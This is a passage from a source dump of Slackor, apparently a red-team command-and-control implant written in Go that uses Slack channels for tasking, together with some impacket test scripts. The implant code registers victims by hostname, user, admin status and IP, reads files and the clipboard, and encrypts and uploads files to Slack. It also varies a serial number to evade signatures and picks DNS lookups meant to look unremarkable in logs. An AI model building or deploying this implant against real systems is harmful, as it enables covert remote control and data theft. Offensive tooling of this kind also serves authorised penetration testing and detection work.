36 | ./runalltestcases.sh $COVERAGE 2>&1 1>/dev/null | tee -a $OUTPUTFILE
37 |
38 | # In some environments we don't have a Windows 2012 R2 Domain Controller,
39 | # so skip these tests.
40 | cd ../SMB_RPC
41 | echo test_spnego.py
42 | $RUN test_spnego.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE
43 | echo test_ntlm.py
44 | $RUN test_ntlm.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE
45 |
46 | if [ -z "$NO_REMOTE" ]; then
47 | echo Testing SMB RPC/LDAP
48 | export PYTHONPATH=../../:$PYTHONPATH
49 | echo test_smb.py
50 | $RUN test_smb.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE
51 | echo test_ldap.py
52 | $RUN test_ldap.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE
53 | echo test_nmb.py
54 | $RUN test_nmb.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE
55 | ./rundce.sh $COVERAGE 2>&1 1>/dev/null | tee -a $OUTPUTFILE
56 | fi
57 |
58 | echo Testing misc
59 | cd ../misc
60 | ./runalltestcases.sh $COVERAGE 2>&1 1>/dev/null | tee -a $OUTPUTFILE
61 |
62 | cd ..
63 |
64 | if [ $COVERAGE ]
65 | then
66 | # Combine coverage and produce report
67 | echo "Combining coverage data"
68 | mv .coverage .coveragetmp
69 | coverage combine .coveragetmp ImpactPacket/.coverage dot11/.coverage SMB_RPC/.coverage misc/.coverage
70 | coverage html -i
71 | coverage erase
72 | rm -f ImpactPacket/.coverage dot11/.coverage SMB_RPC/.coverage misc/.coverage
73 | fi
74 |
75 | if grep -q ERROR $OUTPUTFILE;
76 | then
77 | echo "ERRORS found, look at $OUTPUTFILE"
78 | exit 1
79 | else
80 | echo "NO ERRORS found, congrats!"
81 | rm $OUTPUTFILE
82 | exit 0
83 | fi
84 |
85 | echo ================================================================================
86 | echo IMPORTANT: Dont forget to remove all the .coverage files from tests/* and subdirs
87 | echo if you want newly freshed coverage stats
88 | echo ================================================================================
89 |
--------------------------------------------------------------------------------
/impacket/tests/walkmodules.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # From https://stackoverflow.com/questions/1707709/list-all-the-modules-that-are-part-of-a-python-package
3 | import pkgutil
4 | import impacket
5 | package=impacket
6 | for importer, modname, ispkg in pkgutil.walk_packages(path=package.__path__,
7 | prefix=package.__name__+'.',
8 | onerror=lambda x: None):
9 | try:
10 | __import__(modname)
11 | except Exception as e:
12 | import traceback
13 | traceback.print_exc()
14 | print(e)
15 | pass
16 |
--------------------------------------------------------------------------------
/impacket/tox.ini:
--------------------------------------------------------------------------------
1 | # content of: tox.ini , put in same dir as setup.py
2 | [tox]
3 | #envlist = py26#, py27,py36,py37
4 | envlist = py27,py36,py37
5 | [testenv]
6 | basepython =
7 | py26: python2.6
8 | py27: python2.7
9 | py36: python3.6
10 | py37: python3.7
11 | changedir = {toxinidir}/tests
12 | deps=-rrequirements.txt
13 | coverage
14 | py26: wheel==0.29.0
15 | coverage
16 | passenv = NO_REMOTE
17 | commands_pre = {envpython} -m pip check
18 | commands=./runall.sh {envname} > /dev/null
19 |
--------------------------------------------------------------------------------
/install.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | apt install golang xterm git python3-pip upx-ucl -y
3 | GO111MODULE=on go get
4 | GO111MODULE=on go test ./...
5 | pip3 install -r requirements.txt
6 | pushd impacket && python setup.py install && popd
7 |
--------------------------------------------------------------------------------
/internal/config/vars.go:
--------------------------------------------------------------------------------
1 | // Package config manages all configuration related to Slackor components.
2 | package config
3 |
4 | // Global variables, some of which will get their values injected at compile
5 |
6 | // Keylogger is an internal flag to track whether the keylogger is active
7 | var Keylogger = false
8 |
9 | // Beacon is the average time in seconds (with 20% jitter) between polling
10 | var Beacon = 5 // TODO: Make jitter configurable
11 |
12 | // ParseEnv controls whether to expand environment variables
13 | var ParseEnv = false
14 |
15 | // ParseBacktick controls whether to expand backticks
16 | var ParseBacktick = false
17 |
18 | // OSVersion is the memoized operating system version string
19 | var OSVersion = ""
20 |
21 | // ResponseChannel is the Slack channel to send responses to
22 | var ResponseChannel = "RESPONSE_CHANNEL"
23 |
24 | // RegistrationChannel is the Slack channel that implants announce their
25 | // presence on
26 | var RegistrationChannel = "REGISTRATION_CHANNEL"
27 |
28 | // CommandsChannel is the Slack channel to listen for commands on
29 | var CommandsChannel = "COMMANDS_CHANNEL"
30 |
31 | // Bearer is the bearer token used for the bot user
32 | var Bearer = "BEARERTOKEN" // TODO: Rename this
33 |
34 | // Token is the bearer token used for the app
35 | var Token = "TOKENTOKEN" // TODO: Rename this
36 |
37 | // CipherKey is the string value of the symmetric key used to communicate
38 | var CipherKey = "AESKEY"
39 |
40 | // CipherKeyBytes is the CipherKey converted to a byte slice
41 | var CipherKeyBytes = []byte(CipherKey)
42 |
43 | // CipherIV is the initialization vector for all messages
44 | var CipherIV = []byte("1337133713371337")
45 |
46 | // SerialNumber is a string that gets updated on every build to circumvent simple signatures
47 | var SerialNumber = "CHANGEME"
48 |
--------------------------------------------------------------------------------
/internal/crypto/decrypt.go:
--------------------------------------------------------------------------------
1 | package crypto
2 |
3 | import (
4 | "crypto/aes"
5 | "crypto/cipher"
6 | "encoding/base64"
7 |
8 | "github.com/n00py/Slackor/internal/config"
9 | )
10 |
11 | func PKCS5UnPadding(origData []byte) []byte { //Used for Crypto
12 | length := len(origData)
13 | unpadding := int(origData[length-1])
14 | return origData[:(length - unpadding)]
15 | }
16 |
17 | func DecryptFile(crypted []byte) (string, error) { // Decrypt a file (currently unused)
18 | decodeData := []byte(crypted)
19 | block, err := aes.NewCipher(config.CipherKeyBytes)
20 | if err != nil {
21 | return "", err
22 | }
23 | blockMode := cipher.NewCBCDecrypter(block, config.CipherIV)
24 | origData := make([]byte, len(decodeData))
25 | blockMode.CryptBlocks(origData, decodeData)
26 | origData = PKCS5UnPadding(origData)
27 | return string(origData), nil
28 | }
29 |
30 | func Decrypt(crypted string) (string, error) { // decrypt a string
31 | decodeData, err := base64.StdEncoding.DecodeString(crypted)
32 | if err != nil {
33 | return "", err
34 | }
35 | block, err := aes.NewCipher(config.CipherKeyBytes)
36 | if err != nil {
37 | return "", err
38 | }
39 | blockMode := cipher.NewCBCDecrypter(block, config.CipherIV)
40 | origData := make([]byte, len(decodeData))
41 | blockMode.CryptBlocks(origData, decodeData)
42 | origData = PKCS5UnPadding(origData)
43 | return string(origData), nil
44 | }
45 |
--------------------------------------------------------------------------------
/internal/crypto/encrypt.go:
--------------------------------------------------------------------------------
1 | package crypto
2 |
3 | import (
4 | "bytes"
5 | "crypto/aes"
6 | "crypto/cipher"
7 | "encoding/base64"
8 |
9 | "github.com/n00py/Slackor/internal/config"
10 | )
11 |
12 | func PKCS5Padding(ciphertext []byte, blockSize int) []byte { //Used for Crypto
13 | padding := blockSize - len(ciphertext)%blockSize
14 | padtext := bytes.Repeat([]byte{byte(padding)}, padding)
15 | return append(ciphertext, padtext...)
16 | }
17 |
18 | func Encrypt(origData []byte) (string, error) { // Encrypt a string
19 | block, err := aes.NewCipher(config.CipherKeyBytes)
20 | if err != nil {
21 | return "", err
22 | }
23 | blockSize := block.BlockSize()
24 | origData = PKCS5Padding(origData, blockSize)
25 | blockMode := cipher.NewCBCEncrypter(block, config.CipherIV)
26 | crypted := make([]byte, len(origData))
27 | blockMode.CryptBlocks(crypted, origData)
28 | return base64.StdEncoding.EncodeToString(crypted), nil
29 | }
30 |
31 | func EncryptFile(origData []byte) ([]byte, error) { // Encrypt a file
32 | block, err := aes.NewCipher(config.CipherKeyBytes)
33 | if err != nil {
34 | return nil, err
35 | }
36 | blockSize := block.BlockSize()
37 | origData = PKCS5Padding(origData, blockSize)
38 | blockMode := cipher.NewCBCEncrypter(block, config.CipherIV)
39 | crypted := make([]byte, len(origData))
40 | blockMode.CryptBlocks(crypted, origData)
41 | return crypted, nil
42 | }
43 |
--------------------------------------------------------------------------------
/internal/doc.go:
--------------------------------------------------------------------------------
1 | // Package internal is the collection of utility packages and commands used by
2 | // Slackor components which are specific to its internals.
3 | package internal
4 |
--------------------------------------------------------------------------------
/internal/slack/register.go:
--------------------------------------------------------------------------------
1 | package slack
2 |
3 | import (
4 | "fmt"
5 | "log"
6 | "net"
7 | "net/http"
8 | "net/url"
9 | "os"
10 | "os/user"
11 | "strings"
12 | "time"
13 |
14 | "github.com/n00py/Slackor/internal/config"
15 | )
16 |
17 | func whoami() string { // returns the current user
18 | user, err := user.Current()
19 | if err != nil {
20 | return ("NAME_ERROR")
21 | }
22 | return string(user.Username)
23 | }
24 |
25 | func checkForAdmin() bool { //attempts to get a file handle on MBR, only Admin can
26 | _, err := os.Open("\\\\.\\PHYSICALDRIVE0")
27 | if err != nil {
28 | return false
29 | }
30 | return true
31 | }
32 |
33 | func hostname() string { // Returns the computer hostname
34 | name, err := os.Hostname()
35 | if err != nil {
36 | panic(err)
37 | }
38 | return name
39 | }
40 |
41 | func getVersion() string {
42 | return config.OSVersion
43 | }
44 |
45 | func getLANOutboundIP() string { // Get preferred outbound ip of this machine
46 | conn, err := net.Dial("udp", "4.5.6.7:1337") //This doesn't actually make a connection
47 | if err != nil {
48 | log.Fatal(err)
49 | }
50 | defer conn.Close()
51 | localAddr := conn.LocalAddr().(*net.UDPAddr)
52 | IP := localAddr.IP.String()
53 | return IP
54 |
55 | }
56 |
57 | func Register(clientID string) { // Send a message to the registration channel with the client ID and OS info
58 | client := &http.Client{Timeout: time.Second * 10}
59 | name, err := os.Hostname()
60 | if err != nil {
61 | panic(err)
62 | }
63 | URL := "https://slack.com/api/chat.postMessage"
64 | v := url.Values{}
65 | v.Set("channel", config.RegistrationChannel)
66 | user := whoami()
67 | if checkForAdmin() {
68 | user = whoami() + "*"
69 | } else {
70 | user = whoami()
71 | }
72 | info := clientID + ":" + name + ":" + user + ":" + getLANOutboundIP() + ":" + string(getVersion())
73 | v.Set("text", info)
74 | //pass the values to the request's body
75 | req, err := http.NewRequest("POST", URL, strings.NewReader(v.Encode()))
76 | req.Header.Add("Authorization", "Bearer "+config.Bearer)
77 | req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0")
78 | req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
79 | _, netError := client.Do(req)
80 | if netError != nil {
81 | fmt.Println("Connection error: " + netError.Error())
82 | }
83 | }
84 |
--------------------------------------------------------------------------------
/internal/slack/send.go:
--------------------------------------------------------------------------------
1 | package slack
2 |
3 | import (
4 | "fmt"
5 | "net/http"
6 | "net/url"
7 | "strings"
8 | "time"
9 |
10 | "github.com/n00py/Slackor/internal/config"
11 | "github.com/n00py/Slackor/internal/crypto"
12 | )
13 |
14 | // SendResult sends a result back to the responses channel in Slack
15 | func SendResult(clientID, jobID, cmdType, output string) { //Sends a response back to the responses channel
16 | client := &http.Client{Timeout: time.Second * 10}
17 | URL := "https://slack.com/api/chat.postMessage"
18 | v := url.Values{}
19 | v.Set("channel", config.ResponseChannel)
20 | info := clientID + ":" + jobID + ":" + cmdType + ":" + output
21 |
22 | if len(info) < 4000 { // If characters are less than 4K, leave it alone
23 | v.Set("text", info)
24 | //If it has more than 4K and less than 30K, prepend the client and job info as it will get posted
25 | // as a multi-part message
26 |
27 | } else if len(info) < 30000 {
28 | info := clientID + ":" + jobID + ":" + "cont" + ":" + output
29 | index := 4000
30 | for i := 0; i+index < len(info); i++ {
31 | info = info[:index] + clientID + ":" + jobID + ":" + "cont:" + info[index:]
32 | index = index + 4000
33 | }
34 | v.Set("text", info)
35 |
36 | } else { //If the size is over 30K characters, it's too big to print.
37 | message := "Output too long. Consider writing command output to a file and downloading it."
38 | encryptedOutput, _ := crypto.Encrypt([]byte(message))
39 | info := clientID + ":" + jobID + ":" + cmdType + ":" + encryptedOutput
40 | v.Set("text", info)
41 | }
42 | //pass the values to the request's body
43 | fmt.Println("Sending result...")
44 | req, _ := http.NewRequest("POST", URL, strings.NewReader(v.Encode()))
45 | req.Header.Add("Authorization", "Bearer "+config.Bearer)
46 | req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0")
47 | req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
48 | _, netError := client.Do(req)
49 | if netError != nil {
50 | fmt.Println("Connection error: " + netError.Error())
51 | }
52 | }
53 |
--------------------------------------------------------------------------------
/internal/slack/upload.go:
--------------------------------------------------------------------------------
1 | package slack
2 |
3 | import (
4 | "bytes"
5 | "encoding/base64"
6 | "encoding/json"
7 | "fmt"
8 | "io"
9 | "io/ioutil"
10 | "mime/multipart"
11 | "net/http"
12 | "path/filepath"
13 |
14 | "github.com/n00py/Slackor/internal/config"
15 | "github.com/n00py/Slackor/internal/crypto"
16 | )
17 |
18 | // Upload sends a file to Slack, notifying the listener that a file is ready
19 | // to download
20 | func Upload(clientID, jobID, location string) error { //Sends a response back to the responses channel
21 | path := filepath.Clean(location)
22 | filename := filepath.Base(path)
23 | file, err := ioutil.ReadFile(path)
24 | if err != nil {
25 | return err
26 | }
27 | body := &bytes.Buffer{}
28 | writer := multipart.NewWriter(body)
29 | part, err := writer.CreateFormFile("file", filename)
30 | if err != nil {
31 | return err
32 | }
33 | encyptedFile, err := crypto.EncryptFile(file) //Encrypts the file before uploading to Slack
34 | if err != nil {
35 | return err
36 | }
37 | eFile := bytes.NewReader(encyptedFile)
38 | io.Copy(part, eFile)
39 | writer.Close()
40 | resp, err := http.NewRequest("POST", "https://slack.com/api/files.upload", body)
41 | if err != nil {
42 | return err
43 | }
44 | resp.Header.Add("Content-Type", writer.FormDataContentType())
45 | resp.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0")
46 | resp.Header.Add("Authorization", "Bearer "+config.Token)
47 | client := &http.Client{}
48 | r, netError := client.Do(resp)
49 | if netError != nil {
50 | fmt.Println("Connection error: " + netError.Error())
51 | }
52 | bodyText, err := ioutil.ReadAll(r.Body)
53 | if err != nil {
54 | return err
55 | }
56 | s := string(bodyText)
57 | type Auto struct {
58 | Ok bool `json:"ok"`
59 | File struct {
60 | ID string `json:"id"`
61 | Created int `json:"created"`
62 | Timestamp int `json:"timestamp"`
63 | Name string `json:"name"`
64 | Title string `json:"title"`
65 | Mimetype string `json:"mimetype"`
66 | Filetype string `json:"filetype"`
67 | PrettyType string `json:"pretty_type"`
68 | User string `json:"user"`
69 | Editable bool `json:"editable"`
70 | Size int `json:"size"`
71 | Mode string `json:"mode"`
72 | IsExternal bool `json:"is_external"`
73 | ExternalType string `json:"external_type"`
74 | IsPublic bool `json:"is_public"`
75 | PublicURLShared bool `json:"public_url_shared"`
76 | DisplayAsBot bool `json:"display_as_bot"`
77 | Username string `json:"username"`
78 | URLPrivate string `json:"url_private"`
79 | URLPrivateDownload string `json:"url_private_download"`
80 | Permalink string `json:"permalink"`
81 | PermalinkPublic string `json:"permalink_public"`
82 | EditLink string `json:"edit_link"`
83 | Preview string `json:"preview"`
84 | PreviewHighlight string `json:"preview_highlight"`
85 | Lines int `json:"lines"`
86 | LinesMore int `json:"lines_more"`
87 | PreviewIsTruncated bool `json:"preview_is_truncated"`
88 | CommentsCount int `json:"comments_count"`
89 | IsStarred bool `json:"is_starred"`
90 | Shares struct {
91 | } `json:"shares"`
92 | Channels []interface{} `json:"channels"`
93 | Groups []interface{} `json:"groups"`
94 | Ims []interface{} `json:"ims"`
95 | } `json:"file"`
96 | }
97 | var m Auto
98 | json.Unmarshal([]byte(s), &m)
99 |
100 | SendResult(clientID, jobID, "download", base64.StdEncoding.EncodeToString([]byte(m.File.URLPrivateDownload)))
101 | return nil
102 | }
103 |
--------------------------------------------------------------------------------
/pkg/README.md:
--------------------------------------------------------------------------------
1 | # pkg
2 | Implant commands live here. This package is subdivided by operating system,
3 | using the same names as the golang `GOOS` environment variable, with the
4 | exception of `common`, which contains commands that will run on all platforms.
5 |
6 | Commands must satisfy the `Command` interface and must only take zero or more
7 | `string` arguments. If an argument should be a number or other type, it will
8 | need to be converted internally by the command.
9 |
--------------------------------------------------------------------------------
/pkg/command/command.go:
--------------------------------------------------------------------------------
1 | // Package command provides the common interface for all commands.
2 | package command
3 |
4 | // The Command interface provides a common interface for commands, simplifying
5 | // the process of providing cross-platform and OS-specific commands.
6 | type Command interface {
7 | // Name is the name of the command, what will appear in the help
8 | // documentation, and what the operator will type to run the command.
9 | Name() string
10 | // Run performs the command's operation.
11 | Run(clientID string, jobID string, args []string) (string, error)
12 | }
13 |
14 | var availableCommands = map[string]Command{}
15 |
16 | // RegisterCommand registers a command for use by the implant.
17 | //
18 | // This is typically done immediately after declaring the command to make it
19 | // easy to create the list of available commands at compile time for the
20 | // target OS.
21 | func RegisterCommand(cmd Command) {
22 | availableCommands[cmd.Name()] = cmd
23 | }
24 |
25 | // GetCommand returns the command with the given name or nil if it hasn't
26 | // been registered or otherwise doesn't exist.
27 | func GetCommand(name string) Command {
28 | return availableCommands[name]
29 | }
30 |
--------------------------------------------------------------------------------
/pkg/common/beacon.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "errors"
5 | "fmt"
6 | "strconv"
7 |
8 | "github.com/n00py/Slackor/internal/config"
9 | "github.com/n00py/Slackor/pkg/command"
10 | )
11 |
12 | // Beacon changes the polling frequency
13 | type Beacon struct{}
14 |
15 | // Name is the name of the command
16 | func (b Beacon) Name() string {
17 | return "beacon"
18 | }
19 |
20 | // Run changes the polling frequency
21 | func (b Beacon) Run(clientID string, jobID string, args []string) (string, error) {
22 | if len(args) != 1 {
23 | return "", errors.New("beacon takes 1 argument")
24 | }
25 | config.Beacon, _ = strconv.Atoi(args[0])
26 | return fmt.Sprintf("Implant will now poll every %d second(s).", config.Beacon), nil
27 | }
28 |
29 | func init() {
30 | command.RegisterCommand(Beacon{})
31 | }
32 |
--------------------------------------------------------------------------------
/pkg/common/cat.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "errors"
5 | "io/ioutil"
6 | "strings"
7 |
8 | "github.com/n00py/Slackor/pkg/command"
9 | )
10 |
11 | // Cat prints the contents of the file
12 | type Cat struct{}
13 |
14 | // Name is the name of the command
15 | func (c Cat) Name() string {
16 | return "cat"
17 | }
18 |
19 | // Run prints the contents of the file
20 | func (c Cat) Run(clientID string, jobID string, args []string) (string, error) {
21 | if len(args) != 1 {
22 | return "", errors.New("cat takes 1 argument")
23 | }
24 | path := strings.Replace(args[0], "\"", "", -1)
25 | content, err := ioutil.ReadFile(path)
26 | if err != nil {
27 | return "", err
28 | }
29 | return string(content), nil
30 | }
31 |
32 | func init() {
33 | command.RegisterCommand(Cat{})
34 | }
35 |
--------------------------------------------------------------------------------
/pkg/common/cat_test.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "errors"
5 | "os"
6 | "testing"
7 |
8 | "github.com/stretchr/testify/assert"
9 | )
10 |
11 | func TestCat(t *testing.T) {
12 | tcs := []struct {
13 | name string
14 | filename string
15 | expectedValue string
16 | expectedError error
17 | }{
18 | {
19 | "empty value",
20 | "",
21 | "",
22 | errors.New("open : no such file or directory"),
23 | },
24 | {
25 | "txt file",
26 | "a.txt",
27 | "The quick brown fox jumped over the lazy dog.\n",
28 | nil,
29 | },
30 | {
31 | "txt file in subdir",
32 | "subdir/b.txt",
33 | "Sphinx of black quartz, judge my vow.\n",
34 | nil,
35 | },
36 | {
37 | "file not found",
38 | "c.txt",
39 | "",
40 | errors.New("open c.txt: no such file or directory"),
41 | },
42 | }
43 | for _, tc := range tcs {
44 | t.Run(tc.name, func(t *testing.T) {
45 | assert := assert.New(t)
46 | wd, _ := os.Getwd()
47 | os.Chdir("testdata/cat")
48 |
49 | c := Cat{}
50 | output, err := c.Run("", "", []string{tc.filename})
51 | if tc.expectedError == nil {
52 | assert.NoError(err)
53 | } else {
54 | assert.Error(tc.expectedError, err)
55 | }
56 | assert.Equal(tc.expectedValue, output)
57 | os.Chdir(wd)
58 | })
59 | }
60 | }
61 |
--------------------------------------------------------------------------------
/pkg/common/cd.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "errors"
5 | "os"
6 |
7 | "github.com/n00py/Slackor/pkg/command"
8 | )
9 |
10 | // CD changes the current working directory
11 | type CD struct{}
12 |
13 | // Name is the name of the command
14 | func (c CD) Name() string {
15 | return "cd"
16 | }
17 |
18 | // Run changes the current working directory
19 | func (c CD) Run(clientID string, jobID string, args []string) (string, error) {
20 | if len(args) != 1 {
21 | return "", errors.New("cd takes 1 argument")
22 | }
23 | os.Chdir(args[0])
24 | return os.Getwd()
25 | }
26 |
27 | func init() {
28 | command.RegisterCommand(CD{})
29 | }
30 |
--------------------------------------------------------------------------------
/pkg/common/clipboard.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "github.com/atotto/clipboard"
5 | "github.com/n00py/Slackor/pkg/command"
6 | )
7 |
8 | // Clipboard reads the clipboard
9 | type Clipboard struct{}
10 |
11 | // Name is the name of the command
12 | func (c Clipboard) Name() string {
13 | return "clipboard"
14 | }
15 |
16 | // Run reads the clipboard
17 | func (c Clipboard) Run(clientID string, jobID string, args []string) (string, error) {
18 | return clipboard.ReadAll()
19 | }
20 |
21 | func init() {
22 | command.RegisterCommand(Clipboard{})
23 | }
24 |
--------------------------------------------------------------------------------
/pkg/common/doctor.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | // TODO: track errors and misconfigurations that we might otherwise panic for
4 |
--------------------------------------------------------------------------------
/pkg/common/download.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "errors"
5 | "fmt"
6 | "path/filepath"
7 |
8 | "github.com/n00py/Slackor/internal/slack"
9 | "github.com/n00py/Slackor/pkg/command"
10 | )
11 |
12 | // Download sends the file to Slack
13 | type Download struct{}
14 |
15 | // Name is the name of the command
16 | func (d Download) Name() string {
17 | return "download"
18 | }
19 |
20 | // Run sends the file to Slack
21 | func (d Download) Run(clientID string, jobID string, args []string) (string, error) {
22 | if len(args) != 1 {
23 | return "", errors.New("download takes 1 argument")
24 | }
25 | path := filepath.Clean(args[0])
26 | // The download command uploads files to Slack
27 | // Command is named from the perspective of the remote system
28 | slack.Upload(clientID, jobID, path)
29 | return fmt.Sprintf("Downloaded %s", path), nil
30 | }
31 |
32 | func init() {
33 | command.RegisterCommand(Download{})
34 | }
35 |
--------------------------------------------------------------------------------
/pkg/common/find.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "errors"
5 | "fmt"
6 | "os"
7 |
8 | "github.com/bmatcuk/doublestar"
9 | "github.com/dustin/go-humanize"
10 | "github.com/n00py/Slackor/pkg/command"
11 | )
12 |
13 | // Find searches the current directory for the glob
14 | type Find struct{}
15 |
16 | // Name is the name of the command
17 | func (f Find) Name() string {
18 | return "find"
19 | }
20 |
21 | // Run searches the current directory for the glob
22 | func (f Find) Run(clientID string, jobID string, args []string) (string, error) {
23 | if len(args) != 1 {
24 | return "", errors.New("find takes 1 argument")
25 | }
26 | glob := args[0]
27 | if glob == "" {
28 | return "No matches.", nil
29 | }
30 | filenames, err := doublestar.Glob(glob)
31 | if err != nil {
32 | return "", errors.New("invalid glob pattern")
33 | }
34 | var result string
35 | if len(filenames) > 0 {
36 | for _, filename := range filenames {
37 | f, err := os.Stat(filename)
38 | if err != nil {
39 | // If we can't stat the file for some reason, don't prevent other results from being returned
40 | result = result + fmt.Sprintf("%-28v", "n/a") + " " + fmt.Sprintf("%-9v", "n/a") + " " + filename + "\n"
41 | continue
42 | }
43 | size := humanize.IBytes(uint64(f.Size()))
44 | timestamp := f.ModTime()
45 | ts := timestamp.Format("01/02/2006 3:04:05 PM MST")
46 | dir := " "
47 | if f.IsDir() {
48 | dir = " "
49 | }
50 | result = result + fmt.Sprintf("%-28v", ts) + dir + fmt.Sprintf("%-9v", size) + " " + filename + "\n"
51 | }
52 | } else {
53 | return "No matches.", nil
54 | }
55 | return result, nil
56 | }
57 |
58 | func init() {
59 | command.RegisterCommand(Find{})
60 | }
61 |
--------------------------------------------------------------------------------
/pkg/common/find_test.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "os"
5 | "testing"
6 |
7 | "github.com/stretchr/testify/assert"
8 | )
9 |
10 | func TestFind(t *testing.T) {
11 | tcs := []struct {
12 | name string
13 | glob string
14 | expectedSubstrings []string
15 | unexpectedSubstrings []string
16 | }{
17 | {
18 | "empty glob",
19 | "",
20 | []string{"No matches."},
21 | []string{"a.txt", "b.pem", "c.key", "d.pem"},
22 | },
23 | {
24 | "*.txt glob",
25 | "*.txt",
26 | []string{"a.txt"},
27 | []string{"b.pem", "c.key", "d.pem"},
28 | },
29 | {
30 | "*.pem glob",
31 | "*.pem",
32 | []string{"b.pem"},
33 | []string{"a.txt", "c.key", "d.pem"},
34 | },
35 | {
36 | "**/*.pem glob",
37 | "**/*.pem",
38 | []string{"b.pem", "subdir/d.pem"},
39 | []string{"a.txt", "c.key"},
40 | },
41 | {
42 | "**/*.txt glob",
43 | "**/*.txt",
44 | []string{"a.txt"},
45 | []string{"b.pem", "c.key", "d.pem", "subdir"},
46 | },
47 | {
48 | "**/*.*e* glob",
49 | "**/*.*e*",
50 | []string{"b.pem", "c.key", "subdir/d.pem"},
51 | []string{"a.txt"},
52 | },
53 | }
54 | for _, tc := range tcs {
55 | t.Run(tc.name, func(t *testing.T) {
56 | assert := assert.New(t)
57 | wd, _ := os.Getwd()
58 | os.Chdir("testdata/find")
59 |
60 | f := Find{}
61 | output, err := f.Run("", "", []string{tc.glob})
62 | assert.NoError(err)
63 | for _, sub := range tc.expectedSubstrings {
64 | assert.Contains(output, sub)
65 | }
66 | for _, sub := range tc.unexpectedSubstrings {
67 | assert.NotContains(output, sub)
68 | }
69 |
70 | os.Chdir(wd)
71 | })
72 | }
73 | }
74 |
--------------------------------------------------------------------------------
/pkg/common/getip.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "errors"
5 | "strings"
6 |
7 | "github.com/n00py/Slackor/pkg/command"
8 |
9 | "github.com/miekg/dns"
10 | )
11 |
12 | // GetIP gets the external WAN outbound ip of this machine
13 | type GetIP struct{}
14 |
15 | // Name is the name of the command
16 | func (g GetIP) Name() string {
17 | return "getip"
18 | }
19 |
20 | // Run gets the external WAN outbound ip of this machine
21 | func (g GetIP) Run(clientID string, jobID string, args []string) (string, error) {
22 | // high speed response, won't look that weird in DNS logs
23 | target := "o-o.myaddr.l.google.com"
24 | server := "ns1.google.com"
25 |
26 | c := dns.Client{}
27 | m := dns.Msg{}
28 | m.SetQuestion(target+".", dns.TypeTXT)
29 | r, _, err := c.Exchange(&m, server+":53")
30 | if err != nil {
31 | return "", err
32 | }
33 | for _, ans := range r.Answer {
34 | TXTrecord := ans.(*dns.TXT)
35 | // shouldn't ever be multiple, but provide the full answer if we ever do
36 | return strings.Join(TXTrecord.Txt, ","), nil
37 | }
38 | return "", errors.New("no answer")
39 | }
40 |
41 | func init() {
42 | command.RegisterCommand(GetIP{})
43 | }
44 |
--------------------------------------------------------------------------------
/pkg/common/getuid.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "github.com/n00py/Slackor/pkg/command"
5 | )
6 |
7 | // GetUID is an alias for whoami
8 | type GetUID struct{}
9 |
10 | // Name is the name of the command
11 | func (g GetUID) Name() string {
12 | return "getuid"
13 | }
14 |
15 | // Run is an alias for whoami
16 | func (g GetUID) Run(clientID string, jobID string, args []string) (string, error) {
17 | return command.GetCommand("whoami").Run(clientID, jobID, args)
18 | }
19 |
20 | func init() {
21 | command.RegisterCommand(GetUID{})
22 | }
23 |
--------------------------------------------------------------------------------
/pkg/common/hostname.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "os"
5 |
6 | "github.com/n00py/Slackor/pkg/command"
7 | )
8 |
9 | // Hostname is an alias for whoami
10 | type Hostname struct{}
11 |
12 | // Name is the name of the command
13 | func (h Hostname) Name() string {
14 | return "hostname"
15 | }
16 |
17 | // Run is an alias for whoami
18 | func (h Hostname) Run(clientID string, jobID string, args []string) (string, error) {
19 | name, err := os.Hostname()
20 | if err != nil {
21 | return "", err
22 | }
23 | return name, nil
24 | }
25 |
26 | func init() {
27 | command.RegisterCommand(Hostname{})
28 | }
29 |
--------------------------------------------------------------------------------
/pkg/common/ifconfig.go:
--------------------------------------------------------------------------------
1 | package common
2 |
3 | import (
4 | "net"
5 | "strings"
6 |
7 | "github.com/n00py/Slackor/pkg/command"
8 | )
9 |
10 | // IFConfig dumps interface and network information
11 | type IFConfig struct{}
12 |
13 | // Name is the name of the command
14 | func (i IFConfig) Name() string {
15 | return "ifconfig"
16 | }
17 |
18 | // Run dumps interface and network information
19 | func (i IFConfig) Run(clientID string, jobID string, args []string) (string, error) {
20 | returnString := "=== interfaces ===\n"
21 | ifaces, err := net.Interfaces()
22 | if err != nil {
23 | return "", err
24 | }
25 | for _, iface := range ifaces {
26 | returnString += iface.Name + ":\n"
27 | addrs, err := iface.Addrs()
28 | if err != nil {
29 | return "", err
30 | }
31 | for _, addr := range addrs {
32 | addrStr := addr.String()
33 | split := strings.Split(addrStr, "/")
34 | addrStr0 := split[0]
35 | mask := split[1]
36 | ip := net.ParseIP(addrStr0)
37 | if ip.To4() != nil {
38 | returnString += " IPv4 Address: " + addrStr0 + "/" + mask + "\n"
39 | } else {
40 | returnString += " IPv6 Address: " + addrStr0 + "/" + mask + "\n"
41 | }
42 | }
43 | returnString += "\n"
44 | }
45 | return returnString, nil
46 | }
47 |
48 | func init() {
49 | command.RegisterCommand(IFConfig{})
